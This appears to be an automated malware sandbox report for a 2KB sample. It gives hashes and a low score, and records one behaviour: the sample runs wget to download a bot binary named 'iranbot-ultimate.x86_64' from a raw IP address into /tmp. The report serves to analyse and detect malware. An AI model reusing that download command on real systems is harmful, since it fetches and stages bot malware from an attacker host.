ae12113434d58943b4df963fa9da781b5adb5fd7a49aff7df4400f9a368bc6bb

Analysis

max time kernel
148s
max time network
150s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
20/10/2026, 18:55

Target
ae12113434d58943b4df963fa9da781b5adb5fd7a49aff7df4400f9a368bc6bb
Size 2KB
Sample261020-xk4cfatzex
SHA256 ae12113434d58943b4df963fa9da781b5adb5fd7a49aff7df4400f9a368bc6bb
MD5 1b87cfd21f1b776df32868af0411d81c
SHA1 9e87d237607b41d7f4dced843f523ef1f33e9d87
SHA512 a00794780bf77ad2f6dac1af3b5663c7ea6481b68770d8ac414a771c311e097f4080cf0d48824e4648bcb7c388b82f35eb76e2f7a97c54eae9e2a2cb1b6f0db4
TLSH
T156411D9D5B7843598EC4D566F1FAE9484F1CA7456AB32C30E00D8EB174BAD20F36E622
MD5 SHA1 SHA512 TLSH

Score

3^/10

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/iranbot-ultimate.x86_64	wget

/tmp/ae12113434d58943b4df963fa9da781b5adb5fd7a49aff7df4400f9a368bc6bb
/tmp/ae12113434d58943b4df963fa9da781b5adb5fd7a49aff7df4400f9a368bc6bb
1⤵
PID:704
- /usr/bin/wget
  wget http://68.168.218.237/iranbot-ultimate.x86_64 -O iranbot-ultimate.x86_64
  2⤵
  - Writes file to tmp directory
  PID:706